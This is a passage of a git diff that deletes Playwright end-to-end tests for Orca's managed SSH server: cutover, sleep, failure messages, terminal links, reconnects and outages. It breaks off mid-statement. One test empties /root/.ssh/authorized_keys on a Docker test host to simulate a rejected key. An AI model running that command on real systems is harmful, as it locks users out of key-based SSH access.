seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { startOrcadConvertHost, type OrcadConvertHost } from './helpers/orcad-convert-host' -import { callEnvironment } from './helpers/paired-host-terminal' -import { findOrcadMigrationSourceCutoverForTarget } from '../../src/main/persistence/migrating-orcad-catalog/cutover-journals/orcad-migration-cutover-journal' -import { ORCAD_TEMPLATE_MANIFEST_FILENAME } from '../../src/shared/remote-runtime/orcad-distribution/orcad-artifacts' - -const HOST = process.env.ORCA_E2E_ORCAD_CONVERT_HOST -const TEMPLATE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE -test.skip( - HOST !== 'docker' || !TEMPLATE, - 'Set ORCA_E2E_ORCAD_CONVERT_HOST=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE' -) - -const ServerRepoListSchema = z.object({ - result: z.object({ repos: z.array(z.object({ path: z.string() })) }) -}) - -// A common template file whose bytes nothing reads at runtime; its digest names the version. -const VERSION_SEED_FILE = 'ripgrep/licenses/LICENSE-MIT' - -/** The same build under another content version, as a desktop on another Orca release ships it. */ -function otherVersionTemplate(source: string, destination: string): string { - cpSync(source, destination, { recursive: true }) - const seed = join(destination, ...VERSION_SEED_FILE.split('/')) - appendFileSync(seed, '\n') - const manifestPath = join(destination, ORCAD_TEMPLATE_MANIFEST_FILENAME) - const manifest = JSON.parse(readFileSync(manifestPath, 'utf8')) - manifest.commonSha256[VERSION_SEED_FILE] = createHash('sha256') - .update(readFileSync(seed)) - .digest('hex') - writeFileSync(manifestPath, JSON.stringify(manifest, null, 2)) - return destination -} - -function hostRecord(host: OrcadConvertHost): { active: string | null } { - return JSON.parse(host.exec!('cat /root/.orca-remote/orcad-active.json')) -} - -function orcadPids(host: OrcadConvertHost): string { - return host.exec!( - 'for f in /root/.orca-remote/orcad-*/.orcad-pid; do pid=$(cat "$f" 2>/dev/null) && ' + - 'kill -0 "$pid" 2>/dev/null && echo "$pid"; done; true' - ).trim() -} - -function sleeping(host: OrcadConvertHost, marker: string): boolean { - return host.exec!(`pgrep -f "sleep ${marker}" >/dev/null && echo yes || echo no`).trim() === 'yes' -} - -async function connectFresh( - page: Page, - host: OrcadConvertHost -): Promise<{ targetId: string; environmentId: string }> { - const connected = await page.evaluate(async (input) => { - const { target } = await window.api.ssh.addTarget({ target: input }) - const state = await window.api.ssh.connect({ targetId: target.id }) - return { targetId: target.id, managedServer: state?.managedServer ?? null } - }, host.input) - const server = connected.managedServer - if (server?.kind !== 'managed') { - throw new Error(`expected a managed server, got ${JSON.stringify(server)}`) - } - return { targetId: connected.targetId, environmentId: server.environmentId } -} - -test('a relay-era desktop joins the server another version runs for the same login', async (// oxlint-disable-next-line no-empty-pattern -- Playwright's second fixture arg is testInfo; the first must be an object destructure to opt out of the default fixture set. -{}, testInfo) => { - test.setTimeout(20 * 60_000) - const host = startOrcadConvertHost(HOST!, testInfo) - const desktopA = createRestartSession(testInfo, { - ORCA_ORCAD_TEMPLATE_PATH: otherVersionTemplate( - TEMPLATE!, - testInfo.outputPath('other-version-template') - ) - }) - const desktopB = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE! }) - let app: ElectronApplication | null = null - try { - // 1. Desktop A deploys its version, adds the host's repository and starts a terminal in it. - const a = await desktopA.launch() - app = a.app - await waitForSessionReady(a.page) - const serverA = await connectFresh(a.page, host) - await callEnvironment(a.page, serverA.environmentId, 'repo.add', { path: host.remoteRepoPath }) - const marker = String(800_000 + Math.floor(Math.random() * 100_000)) - await callEnvironment(a.page, serverA.environmentId, 'terminal.create', { - worktree: `path:${host.remoteRepoPath}`, - command: `exec sleep ${marker}` - }) - await expect.poll(() => sleeping(host, marker), { timeout: 60_000 }).toBe(true) - const versionA = hostRecord(host).active - const pidA = orcadPids(host) - expect(versionA).toBeTruthy() - expect(pidA).not.toBe('') - await desktopA.close(app) - app = null - - // 2. Desktop B's relay-era profile already holds the same repository on the same host. - const established = await desktopB.launch() - app = established.app - await waitForSessionReady(established.page) - await desktopB.close(app) - app = null - // B's sidebar shows only this host; A's server keeps its own all-hosts view. - const seeded = seedRelayEraProfile( - desktopB.userDataDir, - host.input, - { repoPath: host.remoteRepoPath, folderPath: host.remoteFolderPath }, - { sidebarScopedToHost: true } - ) - const b = await desktopB.launch() - app = b.app - await waitForSessionReady(b.page) - const connected = await reconnect(b.page, seeded.targetId) - await expect - .poll( - async () => { - const server = await managedServer(b.page, seeded.targetId) - const journal = findOrcadMigrationSourceCutoverForTarget( - desktopB.userDataDir, - seeded.targetId - ) - return JSON.stringify({ server, phase: journal?.phase ?? null, connected }) - }, - { timeout: 10 * 60_000 } - ) - .toContain('"kind":"managed"') - - // Paired with A's server as it runs: same version, same process, A's terminal untouched. - expect(hostRecord(host).active).toBe(versionA) - expect(orcadPids(host)).toBe(pidA) - expect(sleeping(host, marker)).toBe(true) - - // Linked, not imported twice: the server keeps A's one project and gains B's folder. - const journal = findOrcadMigrationSourceCutoverForTarget(desktopB.userDataDir, seeded.targetId) - expect(journal).toMatchObject({ - phase: 'destination-committed', - linkedRepositoryIds: [seeded.repoId] - }) - const environments = await b.page.evaluate(() => window.api.runtimeEnvironments.list()) - const environmentB = environments.find((entry) => { - const deployment = entry.orcadDeployment - return deployment && 'sshTargetId' in deployment && deployment.sshTargetId === seeded.targetId - }) - expect(environmentB).toBeTruthy() - const repos = ServerRepoListSchema.parse( - JSON.parse(await serverCall(b.page, environmentB!.id, 'repo.list')) - ).result.repos - expect(repos.filter((repo) => repo.path === host.remoteRepoPath)).toHaveLength(1) - expect(await serverCall(b.page, environmentB!.id, 'folderWorkspace.list')).toContain( - JSON.stringify(host.remoteFolderPath).slice(1, -1) - ) - await b.page.screenshot({ path: testInfo.outputPath('shared-login-linked.png') }) - } finally { - if (app) { - // Either session's close quits whichever app is still running. - await desktopB.close(app) - } - await desktopA.dispose() - await desktopB.dispose() - host.cleanup() - } -}) diff --git a/tests/e2e/ssh-orcad-sleep-disconnected.spec.ts b/tests/e2e/ssh-orcad-sleep-disconnected.spec.ts deleted file mode 100644 index 77b9ab45b4d..00000000000 --- a/tests/e2e/ssh-orcad-sleep-disconnected.spec.ts +++ /dev/null @@ -1,75 +0,0 @@ -// Without host contact, Sleep must keep the workspace open and shell alive until a connected retry confirms stop. -// The default-branch fixture remains listed under Hide sleeping in either outcome. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { startFreezableTcpProxy, type FreezableTcpProxy } from './helpers/freezable-tcp-proxy' -import { - echoMarker, - launchManagedWorkspace, - openTerminalTab, - skipUnlessManagedDockerHost, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -const KEPT_OPEN = /kept open/ - -/** The sidebar's Sleep on the workspace's row, as a user does it. */ -async function sleepFromSidebar(page: Page, worktreeId: string): Promise { - const row = page.locator(`[data-worktree-sidebar] [data-worktree-id="${worktreeId}"]`).first() - await row.scrollIntoViewIfNeeded() - await row.click({ button: 'right' }) - await page.getByRole('menuitem', { name: 'Sleep', exact: true }).click() -} - -function livePtys(page: Page, worktreeId: string): Promise { - return page.evaluate((id) => { - const state = window.__store!.getState() - return (state.tabsByWorktree[id] ?? []).reduce( - (n, tab) => n + (state.ptyIdsByTabId[tab.id]?.length ?? 0), - 0 - ) - }, worktreeId) -} - -test('sleep on a disconnected SSH host keeps the workspace open, and sleeping again retries', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(12 * 60_000) - const proxies: FreezableTcpProxy[] = [] - try { - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - const proxy = await startFreezableTcpProxy(host.input.host, host.input.port ?? 22) - proxies.push(proxy) - host.input = { ...host.input, port: proxy.port } - const { page, seeded } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - await echoMarker(page, tabId, 'BEFORE_SLEEP') - proxy.cut('silent') - await sleepFromSidebar(page, seeded.worktreeId) - await expect(page.getByText(KEPT_OPEN).first()).toBeVisible({ timeout: 90_000 }) - // Unconfirmed, so not counted as exited: the window keeps the terminal bound. - expect(await livePtys(page, seeded.worktreeId)).toBeGreaterThan(0) - await page.screenshot({ path: testInfo.outputPath('kept-open.png') }) - - proxy.restore() - // The same shell answers once the network is back: the failed sleep never stopped it. - await echoMarker(page, tabId, 'AFTER_RESTORE') - await expect - .poll( - async () => { - // Sleeping again is the retry: the host's own answer resumes the paused queue. - await sleepFromSidebar(page, seeded.worktreeId) - await page.waitForTimeout(3_000) - return livePtys(page, seeded.worktreeId) - }, - { timeout: 180_000, intervals: [5_000] } - ) - .toBe(0) - }) - } finally { - await Promise.all(proxies.map((proxy) => proxy.close())) - } -}) diff --git a/tests/e2e/ssh-orcad-ssh-failure-reason.spec.ts b/tests/e2e/ssh-orcad-ssh-failure-reason.spec.ts deleted file mode 100644 index c3ad6739c6c..00000000000 --- a/tests/e2e/ssh-orcad-ssh-failure-reason.spec.ts +++ /dev/null @@ -1,90 +0,0 @@ -// A Connect whose SSH session never opens names SSH's reason, not a server failure with a plain-SSH fallback. -// ORCA_E2E_ORCAD_CONVERT_HOST=docker; ORCA_E2E_ORCAD_CONVERT_TEMPLATE must be built for the Docker host. -import type { ElectronApplication } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { waitForSessionReady } from './helpers/store' -import { createRestartSession } from './helpers/orca-restart' -import { openSshHostSettings } from './helpers/ssh-config-host-picker' -import { - ORCAD_CONVERT_HOST_ENV, - startOrcadConvertHost, - type OrcadConvertHost -} from './helpers/orcad-convert-host' - -const HOST = process.env[ORCAD_CONVERT_HOST_ENV] -const TEMPLATE_SOURCE = process.env.ORCA_E2E_ORCAD_CONVERT_TEMPLATE - -test.skip( - HOST !== 'docker' || !TEMPLATE_SOURCE, - `Set ${ORCAD_CONVERT_HOST_ENV}=docker and ORCA_E2E_ORCAD_CONVERT_TEMPLATE` -) - -let host: OrcadConvertHost | null = null -test.afterEach(() => { - host?.cleanup() - host = null -}) - -const CASES = [ - { - name: 'a refused SSH port', - reason: /ECONNREFUSED/, - nextStep: 'Nothing accepted the SSH connection at this address', - refused: true - }, - { - name: 'a key the host rejects', - reason: /authentication methods failed/i, - nextStep: 'The host didn’t accept any sign-in Orca offered', - refused: false - } -] as const - -for (const fault of CASES) { - // oxlint-disable-next-line no-empty-pattern -- Playwright's first fixture arg must be an object pattern; this test owns its app launch. - test(`Connect to ${fault.name} says why SSH failed`, async ({}, testInfo) => { - // Starts a Docker host and an app; a rejected key also waits on its password prompt. - test.setTimeout(6 * 60_000) - host = startOrcadConvertHost('docker', testInfo) - if (!fault.refused) { - host.exec!(': > /root/.ssh/authorized_keys') - } - const input = { ...host.input, ...(fault.refused ? { port: 1 } : {}) } - // No agent, so the only offered key is the one the host rejects. - const session = createRestartSession(testInfo, { - ORCA_ORCAD_TEMPLATE_PATH: TEMPLATE_SOURCE!, - SSH_AUTH_SOCK: '' - }) - let app: ElectronApplication | null = null - try { - const launched = await session.launch() - app = launched.app - const page = launched.page - await waitForSessionReady(page) - await page.evaluate((target) => window.api.ssh.addTarget({ target }), input) - const section = await openSshHostSettings(page) - const card = section.locator(`[data-ssh-target-card][data-ssh-target-label="${input.label}"]`) - await card.hover() - await card.getByRole('button', { name: 'Connect', exact: true }).click() - if (!fault.refused) { - // The rejected key falls back to a password prompt; the user dismisses it. - const prompt = page.getByRole('dialog', { name: 'SSH Password' }) - await expect(prompt).toBeVisible({ timeout: 60_000 }) - await prompt.getByRole('button', { name: 'Cancel' }).click() - } - await expect(card).toContainText(fault.reason, { timeout: 2 * 60_000 }) - await page.screenshot({ path: testInfo.outputPath('card.png') }) - await expect(card).toContainText(fault.nextStep) - await expect(card).not.toContainText('couldn’t start its server') - await expect(card.getByRole('button', { name: 'Open plain SSH terminal' })).toHaveCount(0) - const toasts = page.locator('[data-sonner-toast]') - await expect(toasts.filter({ hasText: 'Error invoking remote method' })).toHaveCount(0) - await expect(toasts.filter({ hasText: 'couldn’t start its server' })).toHaveCount(0) - } finally { - if (app) { - await session.close(app) - } - await session.dispose() - } - }) -} diff --git a/tests/e2e/ssh-orcad-terminal-browser-link.spec.ts b/tests/e2e/ssh-orcad-terminal-browser-link.spec.ts deleted file mode 100644 index 00136a4c4bb..00000000000 --- a/tests/e2e/ssh-orcad-terminal-browser-link.spec.ts +++ /dev/null @@ -1,227 +0,0 @@ -import type { ElectronApplication, Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { createRestartSession } from './helpers/orca-restart' -import { waitForSessionReady } from './helpers/store' -import { - cleanupDockerSshHostTarget, - DOCKER_SSH_HOST_REMOTE_REPO_PATH, - startDockerSshHostTarget -} from './helpers/docker-ssh-host-target' -import { seedRelayEraProfile } from './helpers/orcad-upgrade-profile' -import { - readSshRemoteOnlyRequests, - SSH_REMOTE_ONLY_ORIGIN, - SSH_REMOTE_ONLY_PORT, - startSshRemoteOnlyBrowserFixture -} from './helpers/ssh-remote-only-browser-fixture' -import { convertAndRetain } from './helpers/orcad-convert-flow' -import { - activateManagedWorkspace, - expectPaneText, - managedEnvironmentId, - openTerminalTab, - ORCAD_TEMPLATE, - skipUnlessManagedDockerHost, - typeInTerminal -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() - -/** Whether the active pane's grid is the one its container proposes, i.e. no fit is pending. */ -function terminalGridSettled(page: Page, tabId: string): Promise { - return page.evaluate((tabId) => { - const pane = window.__paneManagers?.get(tabId)?.getActivePane?.() - let proposed: { cols: number; rows: number } | undefined - try { - proposed = pane?.fitAddon.proposeDimensions() - } catch { - return false - } - return Boolean( - pane && - proposed && - pane.terminal.cols === proposed.cols && - pane.terminal.rows === proposed.rows - ) - }, tabId) -} - -async function terminalLinkPoint( - page: Page, - tabId: string, - link: string -): Promise<{ x: number; y: number }> { - // Wait for the narrowed grid’s refit after opening beside the terminal, or old coordinates click another cell. - await expect - .poll(() => terminalGridSettled(page, tabId), { - timeout: 10_000, - message: 'the terminal never refit to its pane' - }) - .toBe(true) - return page.evaluate( - ({ tabId, link }) => { - const pane = window.__paneManagers?.get(tabId)?.getActivePane?.() - const screen = pane?.terminal.element?.querySelector('.xterm-screen') - const cell = pane?.terminal.dimensions?.css.cell - if (!pane || !screen || !cell?.width || !cell.height) { - throw new Error('terminal screen unavailable') - } - const buffer = pane.terminal.buffer.active - for (let row = pane.terminal.rows - 1; row >= 0; row -= 1) { - const text = buffer.getLine(buffer.viewportY + row)?.translateToString(false) ?? '' - const column = text.indexOf(link) - if (column !== -1) { - const rect = screen.getBoundingClientRect() - return { - x: rect.left + (column + link.length / 2) * cell.width, - y: rect.top + (row + 0.5) * cell.height - } - } - } - throw new Error(`terminal link ${link} not on screen`) - }, - { tabId, link } - ) -} - -/** Prints origin+path as one link; split apart so the typed command never shows the whole URL. */ -async function printLink(page: Page, tabId: string, origin: string, path: string): Promise { - // Add a blank row so narrowing the terminal cannot wrap the URL into the shell prompt below. - await typeInTerminal(page, tabId, `printf '%s%s\\n\\n' '${origin}' '${path}'`) - await expectPaneText(page, tabId, `${origin}${path}`) -} - -function browserTabUrls(page: Page, worktreeId: string): Promise { - return page.evaluate( - (id) => (window.__store?.getState().browserTabsByWorktree[id] ?? []).map((tab) => tab.url), - worktreeId - ) -} - -function browserTabIdForUrl(page: Page, worktreeId: string, url: string): Promise { - return page.evaluate( - ({ id, url }) => - (window.__store?.getState().browserTabsByWorktree[id] ?? []).find((tab) => tab.url === url) - ?.id ?? null, - { id: worktreeId, url } - ) -} - -/** The opened page must be the visible browser surface and render the host's response. */ -async function expectRenderedLink(page: Page, worktreeId: string, url: string): Promise { - await expect.poll(() => browserTabIdForUrl(page, worktreeId, url)).not.toBeNull() - const tabId = await browserTabIdForUrl(page, worktreeId, url) - const webview = page.locator(`[data-browser-overlay-tab-id="${tabId}"] webview`) - await expect(webview).toBeVisible({ timeout: 30_000 }) - await expect - .poll( - () => - webview.evaluate(async (guest: Electron.WebviewTag) => { - try { - return await guest.executeJavaScript('document.querySelector("#marker")?.textContent') - } catch { - return null - } - }), - { timeout: 60_000, message: 'the opened page never rendered the host response' } - ) - .toMatch(/^cookie:/) -} - -test('a managed SSH terminal link opens in the Orca Browser through the SSH host', async (// oxlint-disable-next-line no-empty-pattern -- Owns app launch. -{}, testInfo) => { - test.setTimeout(5 * 60_000) - const target = startDockerSshHostTarget(testInfo) - const session = createRestartSession(testInfo, { ORCA_ORCAD_TEMPLATE_PATH: ORCAD_TEMPLATE! }) - let app: ElectronApplication | null = null - try { - startSshRemoteOnlyBrowserFixture(target) - // The first launch only creates the profile the SSH host is saved into. - const first = await session.launch() - app = first.app - await waitForSessionReady(first.page) - await session.close(first.app) - app = null - const seeded = seedRelayEraProfile( - session.userDataDir, - { - label: `orcad terminal link E2E ${Date.now()}`, - host: target.host, - port: target.port, - username: 'root', - identityFile: target.identityFile, - identitiesOnly: true, - relayGracePeriodSeconds: 1 - }, - { repoPath: DOCKER_SSH_HOST_REMOTE_REPO_PATH, folderPath: '/tmp' } - ) - const launched = await session.launch() - app = launched.app - const page = launched.page - await waitForSessionReady(page) - await convertAndRetain(page, session.userDataDir, seeded) - const environmentId = await managedEnvironmentId(page, seeded.targetId) - await activateManagedWorkspace(page, seeded.worktreeId, environmentId) - await page.evaluate(() => - window.__store?.getState().updateSettings({ - openLinksInApp: true, - terminalLinkClickBehavior: 'actions' - }) - ) - const tabId = await openTerminalTab(page, seeded.worktreeId) - - // The link action popover offers the Orca Browser for a managed server's pane. - const popoverUrl = `${SSH_REMOTE_ONLY_ORIGIN}/echo/popover` - await printLink(page, tabId, SSH_REMOTE_ONLY_ORIGIN, '/echo/popover') - const popoverPoint = await terminalLinkPoint(page, tabId, popoverUrl) - await page.mouse.move(popoverPoint.x, popoverPoint.y) - await page.mouse.click(popoverPoint.x, popoverPoint.y) - const popover = page.locator('[data-terminal-link-action-popover]') - await expect(popover).toBeVisible() - await expect(popover.getByRole('button').filter({ hasText: 'System Browser' })).toBeVisible() - const orcaBrowser = popover.getByRole('button').filter({ hasText: 'Orca Browser' }) - await expect(orcaBrowser).toBeVisible() - await page.screenshot({ path: testInfo.outputPath('managed-terminal-link-popover.png') }) - await orcaBrowser.click() - await expect - .poll(() => browserTabUrls(page, seeded.worktreeId), { timeout: 30_000 }) - .toContain(popoverUrl) - // Only the SSH host resolves this origin, so the request proves the page egressed there. - await expect - .poll(() => readSshRemoteOnlyRequests(target).map((request) => request.path), { - timeout: 60_000, - message: 'the Orca Browser page never reached the SSH host' - }) - .toContain('/echo/popover') - await expectRenderedLink(page, seeded.worktreeId, popoverUrl) - - // Cmd/Ctrl-click opens a remote localhost dev-server URL straight into the Orca Browser. - const modifierUrl = `http://localhost:${SSH_REMOTE_ONLY_PORT}/echo/modifier` - await printLink(page, tabId, `http://localhost:${SSH_REMOTE_ONLY_PORT}`, '/echo/modifier') - const modifierPoint = await terminalLinkPoint(page, tabId, modifierUrl) - await page.mouse.move(modifierPoint.x, modifierPoint.y) - await page.keyboard.down('ControlOrMeta') - await page.mouse.click(modifierPoint.x, modifierPoint.y) - await page.keyboard.up('ControlOrMeta') - await expect - .poll(() => browserTabUrls(page, seeded.worktreeId), { timeout: 30_000 }) - .toContain(modifierUrl) - await expect - .poll(() => readSshRemoteOnlyRequests(target).map((request) => request.path), { - timeout: 60_000, - message: 'the Cmd/Ctrl-clicked localhost link never reached the SSH host' - }) - .toContain('/echo/modifier') - await expectRenderedLink(page, seeded.worktreeId, modifierUrl) - await page.screenshot({ path: testInfo.outputPath('managed-terminal-link-opened.png') }) - } finally { - try { - if (app) { - await session.close(app) - } - await session.dispose() - } finally { - cleanupDockerSshHostTarget(target) - } - } -}) diff --git a/tests/e2e/ssh-orcad-terminal-journeys.spec.ts b/tests/e2e/ssh-orcad-terminal-journeys.spec.ts deleted file mode 100644 index 332e05cc5d2..00000000000 --- a/tests/e2e/ssh-orcad-terminal-journeys.spec.ts +++ /dev/null @@ -1,199 +0,0 @@ -// Require managed SSH pane content/input across reconnect, relaunch/reload, dropped links and host freeze. -// Keep full-screen output live, restore tabs once, and honor closes made while disconnected. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { reconnect } from './helpers/orcad-convert-flow' -import { readPairedPaneContent } from './helpers/paired-host-terminal' -import { waitForSessionReady } from './helpers/store' -import { - activateManagedWorkspace, - echoMarker, - expectPaneText, - expectTerminalAnswers, - launchManagedWorkspace, - openTerminalTab, - relaunchManagedApp, - selectTerminalTab, - skipUnlessManagedDockerHost, - terminalTabIds, - typeInTerminal, - waitForPane, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -function sshStatus(page: Page, targetId: string): Promise { - return page.evaluate( - (id) => window.__store?.getState().sshConnectionStates.get(id)?.status ?? null, - targetId - ) -} - -/** A live full-screen app redraws; a frozen or replayed frame does not. */ -async function expectTopRedrawing(page: Page, tabId: string): Promise { - await expectPaneText(page, tabId, 'load average') - const frame = await readPairedPaneContent(page, tabId) - await expect.poll(() => readPairedPaneContent(page, tabId), { timeout: 30_000 }).not.toBe(frame) - expect(await readPairedPaneContent(page, tabId)).toContain('PID') -} - -test('a managed pane keeps its scrollback and a running TUI across reconnects', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(12 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - // The fixture shell emits no OSC title; a real user's shell does, and the new-tab check reads it. - fixture.host.exec!(`printf '%s\\n' 'PS1="\\[\\e]0;\\u@\\h: \\w\\a\\]$PS1"' >> /root/.bashrc`) - const { page, seeded } = await launchManagedWorkspace(fixture) - const first = await openTerminalTab(page, seeded.worktreeId) - const marker = await echoMarker(page, first, 'RECONNECT_MARKER') - - await reconnect(page, seeded.targetId) - await selectTerminalTab(page, first) - await waitForPane(page, first) - await expectPaneText(page, first, marker) - - await typeInTerminal(page, first, 'top') - await expectTopRedrawing(page, first) - for (let round = 0; round < 2; round += 1) { - await reconnect(page, seeded.targetId) - await selectTerminalTab(page, first) - await waitForPane(page, first) - await expectTopRedrawing(page, first) - } - - // A tab opened after a reconnect gets its own shell, and survives the next reconnect. - const fresh = await openTerminalTab(page, seeded.worktreeId) - expect(fresh).not.toBe(first) - await expectTerminalAnswers(page, fresh) - expect(await readPairedPaneContent(page, fresh)).not.toContain(marker) - await expect - .poll( - () => - page.evaluate( - ({ worktreeId, tabId }) => - window.__store?.getState().tabsByWorktree[worktreeId]?.find((tab) => tab.id === tabId) - ?.title ?? null, - { worktreeId: seeded.worktreeId, tabId: fresh } - ), - { timeout: 60_000, message: 'the new tab kept its placeholder title' } - ) - .not.toMatch(/^Terminal \d+$/) - await reconnect(page, seeded.targetId) - expect(await terminalTabIds(page, seeded.worktreeId)).toEqual( - expect.arrayContaining([first, fresh]) - ) - await expectTerminalAnswers(page, fresh) - await page.screenshot({ path: testInfo.outputPath('managed-reconnect-panes.png') }) - }) -}) - -/** Samples until the tab set agrees three times running, so a late restore cannot slip past. */ -async function settledTabIds(page: Page, worktreeId: string): Promise { - let previous = '' - let agreements = 0 - let latest: string[] = [] - await expect - .poll( - async () => { - latest = (await terminalTabIds(page, worktreeId)).sort() - const key = JSON.stringify(latest) - agreements = key === previous && latest.length > 0 ? agreements + 1 : 0 - previous = key - return agreements >= 2 - }, - { timeout: 120_000, intervals: [2_000] } - ) - .toBe(true) - return latest -} - -test('managed tabs restore exactly once, and a tab closed while disconnected stays closed', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(15 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const launched = await launchManagedWorkspace(fixture) - const { seeded, environmentId } = launched - let page = launched.page - const opened = [ - await openTerminalTab(page, seeded.worktreeId), - await openTerminalTab(page, seeded.worktreeId), - await openTerminalTab(page, seeded.worktreeId) - ] - const marker = await echoMarker(page, opened[0], 'RESTORE_MARKER') - const expected = await settledTabIds(page, seeded.worktreeId) - expect(expected).toEqual(expect.arrayContaining(opened)) - - for (let cycle = 0; cycle < 2; cycle += 1) { - page = await relaunchManagedApp(fixture) - await activateManagedWorkspace(page, seeded.worktreeId, environmentId) - expect(await settledTabIds(page, seeded.worktreeId), `relaunch ${cycle + 1}`).toEqual( - expected - ) - await selectTerminalTab(page, opened[0]) - await expectPaneText(page, opened[0], marker) - } - - // A renderer reload remounts every restored tab onto its own shell. - await page.evaluate(() => window.dispatchEvent(new Event('beforeunload'))) - await page.reload() - await waitForSessionReady(page, 60_000) - await activateManagedWorkspace(page, seeded.worktreeId, environmentId) - expect(await settledTabIds(page, seeded.worktreeId)).toEqual(expected) - for (const tabId of opened) { - await expectTerminalAnswers(page, tabId) - } - await expectPaneText(page, opened[0], marker) - - // The lid-closed shape: close a tab while disconnected, then reconnect. - const closed = opened[2] - await page.evaluate((targetId) => window.api.ssh.disconnect({ targetId }), seeded.targetId) - // Use the real tab X to queue disconnected close; bare store close previously passed only by silently redialing. - const closedTab = page.locator(`[data-testid="sortable-tab"][data-tab-id="${closed}"]`).first() - await closedTab.hover() - await closedTab.getByRole('button', { name: /^Close tab /i }).click() - // Disconnected, Orca can't tell whether the bound shell is busy, so it asks before stopping it. - const confirmation = page.getByRole('dialog', { name: 'Stop running command?' }) - await expect(confirmation).toBeVisible({ timeout: 15_000 }) - await expect(closedTab).toHaveCount(1) - await confirmation.getByRole('button', { name: 'Stop and Close', exact: true }).click() - await expect(confirmation).toBeHidden() - await expect(closedTab).toHaveCount(0, { timeout: 15_000 }) - await reconnect(page, seeded.targetId) - const remaining = expected.filter((id) => id !== closed) - expect(await settledTabIds(page, seeded.worktreeId)).toEqual(remaining) - const final = await relaunchManagedApp(fixture) - await activateManagedWorkspace(final, seeded.worktreeId, environmentId) - expect(await settledTabIds(final, seeded.worktreeId)).toEqual(remaining) - }) -}) - -test('a managed pane outlives a dropped SSH link and a frozen host', async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. -{}, testInfo) => { - test.setTimeout(15 * 60_000) - await withManagedHost(testInfo, async (fixture) => { - const { page, seeded } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - const marker = await echoMarker(page, tabId, 'FAULT_MARKER') - - expect(fixture.host.dropSshConnections!()).toBeGreaterThan(0) - await expectTerminalAnswers(page, tabId, 180_000) - await expectPaneText(page, tabId, marker) - - // Silence, not a reset: the client must call the host lost instead of wedging on it. - fixture.host.setFrozen!(true) - try { - await expect - .poll(() => sshStatus(page, seeded.targetId), { timeout: 120_000, intervals: [2_000] }) - .not.toBe('connected') - } finally { - fixture.host.setFrozen!(false) - } - await reconnect(page, seeded.targetId) - await selectTerminalTab(page, tabId) - await expectTerminalAnswers(page, tabId, 180_000) - await expectPaneText(page, tabId, marker) - await page.screenshot({ path: testInfo.outputPath('managed-fault-recovery.png') }) - }) -}) diff --git a/tests/e2e/ssh-orcad-terminal-network-outage.spec.ts b/tests/e2e/ssh-orcad-terminal-network-outage.spec.ts deleted file mode 100644 index ce1c4ec7871..00000000000 --- a/tests/e2e/ssh-orcad-terminal-network-outage.spec.ts +++ /dev/null @@ -1,85 +0,0 @@ -// #25783: recover typing automatically after managed-host network loss while preserving the original shell. -import type { Page } from '@stablyai/playwright-test' -import { expect, test } from './helpers/orca-app' -import { readPairedPaneContent } from './helpers/paired-host-terminal' -import { startFreezableTcpProxy, type FreezableTcpProxy } from './helpers/freezable-tcp-proxy' -import { - echoMarker, - expectPaneText, - expectTerminalAnswers, - launchManagedWorkspace, - openTerminalTab, - skipUnlessManagedDockerHost, - typeInTerminal, - withManagedHost -} from './helpers/orcad-managed-workspace' - -skipUnlessManagedDockerHost() -test.skip(process.platform === 'win32', 'The Docker SSH host uses POSIX tooling') - -const OUTAGES = [ - { mode: 'silent', ms: 30_000, label: '30 s' }, - { mode: 'reset', ms: 30_000, label: '30 s' } -] as const - -function sshStatus(page: Page, targetId: string): Promise { - return page.evaluate( - (id) => window.__store?.getState().sshConnectionStates.get(id)?.status ?? null, - targetId - ) -} - -for (const { mode, ms, label } of OUTAGES) { - test(`a managed pane answers typing again after a ${label} ${mode} network outage`, async (// oxlint-disable-next-line no-empty-pattern -- Owns its app launch through a restart session. - {}, testInfo) => { - test.setTimeout(ms + 10 * 60_000) - let proxy: FreezableTcpProxy | undefined - try { - await withManagedHost(testInfo, async (fixture) => { - const { host } = fixture - proxy = await startFreezableTcpProxy(host.input.host, host.input.port ?? 22) - // Why the proxy: the profile reaches sshd only through it, so cutting it is the network. - host.input = { ...host.input, port: proxy.port } - const { page, seeded } = await launchManagedWorkspace(fixture) - const tabId = await openTerminalTab(page, seeded.worktreeId) - // Quoted apart so the typed command line itself never matches. - await typeInTerminal(page, tabId, "echo SHELL''_PID=$$") - await expect - .poll(async () => /SHELL_PID=(\d+)/.exec(await readPairedPaneContent(page, tabId))?.[1]) - .toBeTruthy() - const shellPid = /SHELL_PID=(\d+)/.exec(await readPairedPaneContent(page, tabId))![1] - const marker = await echoMarker(page, tabId, 'BEFORE_OUTAGE') - - proxy.cut(mode) - await page.waitForTimeout(ms) - proxy.restore() - - try { - await expectTerminalAnswers(page, tabId, 180_000) - } catch (error) { - console.log( - '[outage] evidence', - JSON.stringify({ - sshStatus: await sshStatus(page, seeded.targetId), - pane: (await readPairedPaneContent(page, tabId)).slice(-600), - hostShellAlive: host.exec!(`kill -0 ${shellPid} && echo alive || echo gone`), - proxyEvents: 